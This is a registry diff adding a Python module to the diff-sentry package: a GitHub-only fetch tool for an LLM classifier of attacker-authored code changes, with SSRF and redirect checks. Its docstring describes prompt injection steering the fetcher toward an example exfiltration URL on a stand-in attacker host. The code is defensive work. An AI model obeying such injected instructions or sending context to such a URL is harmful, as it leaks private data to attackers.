diff-sentry 0.4.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,94 @@
1
+ """GitHub-allowlisted enrichment fetch (MF2) — pull ADDITIONAL context for a change from GitHub only.
2
+
3
+ The threat model here is sharper than a normal fetch tool's: the change under classification is
4
+ ATTACKER-AUTHORED, so an injected instruction could try to steer a fetcher into
5
+ `GET https://attacker.tld/?leak=<context>` — a data-exfiltration channel. rlm-harness's SSRF guard blocks
6
+ INTERNAL/metadata targets, but an attacker-EXTERNAL URL is its allowed case. So this wrapper adds a HOST
7
+ ALLOWLIST on top: only GitHub API/content hosts are reachable, and there is no way to fetch a
8
+ "referenced URL" the change names. Enrichment is OFF by default (`enable_fetch=False`) for the same
9
+ reason — turn it on only when you need to pull the full file/commit context and trust the GitHub hosts.
10
+
11
+ Base/wrap split: the SSRF primitives (`is_safe_url`, `resolved_host_is_safe`, `parse_cidrs`) are the kit's;
12
+ this module owns the allowlist + the httpx provider + tracing. Sync (dspy invokes tools synchronously).
13
+ """
14
+
15
+ from __future__ import annotations
16
+
17
+ from collections.abc import Callable
18
+ from urllib.parse import urlparse
19
+
20
+ from rlm_harness.tools import is_safe_url, parse_cidrs, resolved_host_is_safe
21
+ from rlm_harness.trace import record_tool_call
22
+
23
+ from .config import DetectConfig
24
+
25
+ _PREVIEW_CHARS = 900
26
+
27
+
28
+ def _host_allowed(url: str, allowed_hosts: tuple[str, ...]) -> bool:
29
+ host = (urlparse(url).hostname or "").lower()
30
+ return bool(host) and host in {h.lower() for h in allowed_hosts}
31
+
32
+
33
+ def _port_for(parsed) -> int:
34
+ if parsed.port:
35
+ return parsed.port
36
+ return 443 if parsed.scheme.lower() == "https" else 80
37
+
38
+
39
+ def make_github_fetch_tool(config: DetectConfig) -> Callable[[str], str]:
40
+ """Build the sync `fetch_url(url)` tool, allowlisted to `config.github_hosts`. Refuses any non-GitHub
41
+ or internal target (an exfil attempt on attacker-authored input), then applies the kit's DNS-rebinding
42
+ resolved-IP re-check on every redirect hop."""
43
+ allowed_hosts = tuple(config.github_hosts)
44
+ allow_nets = parse_cidrs(config.fetch_allow_cidrs)
45
+ max_bytes = config.fetch_max_bytes
46
+ timeout = config.fetch_timeout
47
+
48
+ def fetch_url(url: str) -> str:
49
+ """Fetch ADDITIONAL context from GitHub (a full file, a commit, a PR page). Only GitHub hosts are
50
+ reachable; any other or internal URL is refused. Store the result in a REPL variable and slice it."""
51
+ u = (url or "").strip()
52
+ if not is_safe_url(u) or not _host_allowed(u, allowed_hosts):
53
+ record_tool_call("fetch_url", args={"url": url}, ok=False,
54
+ note="refused: only GitHub hosts are permitted for enrichment")
55
+ return (f"Refused: {u!r} is not an allowed GitHub host. Enrichment is restricted to "
56
+ f"{', '.join(allowed_hosts)} — a non-GitHub URL in the change is untrusted and not fetched.")
57
+ try:
58
+ import httpx
59
+
60
+ cur = u
61
+ with httpx.Client(timeout=timeout, follow_redirects=False,
62
+ headers={"User-Agent": "diff-sentry/0.1 (+enrichment)"}) as client:
63
+ for _hop in range(5):
64
+ p = urlparse(cur)
65
+ if not (_host_allowed(cur, allowed_hosts)
66
+ and resolved_host_is_safe(p.hostname or "", _port_for(p), allow_nets=allow_nets)):
67
+ record_tool_call("fetch_url", args={"url": url}, ok=False,
68
+ note="refused: redirect left the GitHub allowlist or resolved internal")
69
+ return f"Refused: {cur!r} left the GitHub allowlist or resolved to an internal address."
70
+ with client.stream("GET", cur) as resp:
71
+ if resp.is_redirect:
72
+ loc = resp.headers.get("location", "")
73
+ if not loc:
74
+ break
75
+ cur = str(httpx.URL(cur).join(loc))
76
+ continue
77
+ chunks, total = [], 0
78
+ for chunk in resp.iter_bytes():
79
+ chunks.append(chunk)
80
+ total += len(chunk)
81
+ if total >= max_bytes:
82
+ break
83
+ body = b"".join(chunks)[:max_bytes].decode("utf-8", "replace")
84
+ record_tool_call("fetch_url", args={"url": url}, ok=True, bytes=total,
85
+ final_url=cur, status=resp.status_code,
86
+ preview=body[:_PREVIEW_CHARS])
87
+ return body
88
+ record_tool_call("fetch_url", args={"url": url}, ok=False, note="too many redirects")
89
+ return f"Refused: too many redirects starting from {u!r}."
90
+ except Exception as exc: # noqa: BLE001 — surface as text so the RLM can react
91
+ record_tool_call("fetch_url", args={"url": url}, ok=False, note=f"error: {type(exc).__name__}")
92
+ return f"Fetch error for {u!r}: {type(exc).__name__}: {str(exc)[:160]}"
93
+
94
+ return fetch_url